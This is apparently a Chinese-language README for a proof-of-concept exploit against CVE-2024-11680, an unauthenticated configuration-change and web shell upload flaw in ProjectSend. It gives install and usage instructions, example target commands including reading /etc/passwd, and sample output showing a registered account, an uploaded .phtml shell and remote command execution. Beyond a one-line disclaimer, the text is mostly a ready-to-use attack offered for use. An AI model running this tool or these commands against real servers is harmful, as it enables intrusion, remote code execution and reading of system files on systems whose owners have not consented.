这是针对 CVE-2024-11680 的概念验证漏洞利用代码,该漏洞是 ProjectSend 中一个无需身份验证的配置修改与 Web Shell 上传漏洞。
该漏洞利用工具利用了 ProjectSend 中的多个漏洞:
pip install requests colorama
python3 exploit.py -u <TARGET_URL> -c <COMMAND>
-u, --url:目标 URL(例如:http://target.com/projectsend)-c, --command:要在目标上执行的命令(默认:id)# Get Python version
python3 exploit.py -u http://target.com/projectsend -c "python3 -V"
# List directory contents
python3 exploit.py -u http://target.com/projectsend -c "ls -la"
# Get system information
python3 exploit.py -u http://target.com/projectsend -c "uname -a"
# Read passwd file
python3 exploit.py -u http://target.com/projectsend -c "cat /etc/passwd"
此工具仅用于教育目的。请负责任地使用,仅对您拥有明确权限的系统进行测试。
[+] Target is vulnerable
[+] Insecure options enabled
[+] User registered successfully.
[+] New username: NoDLQWYF
[+] New password: X02A3g9LuN4S
[+] File uploaded: kLoISqdA.phtml
[+] File accessible at: http://target.com/projectsend/upload/files/1774958997-3b58e110c289baddfd8a6d1d5f34d96e77009fdc-kLoISqdA.phtml
[+] Command Output:
Python 3.9.2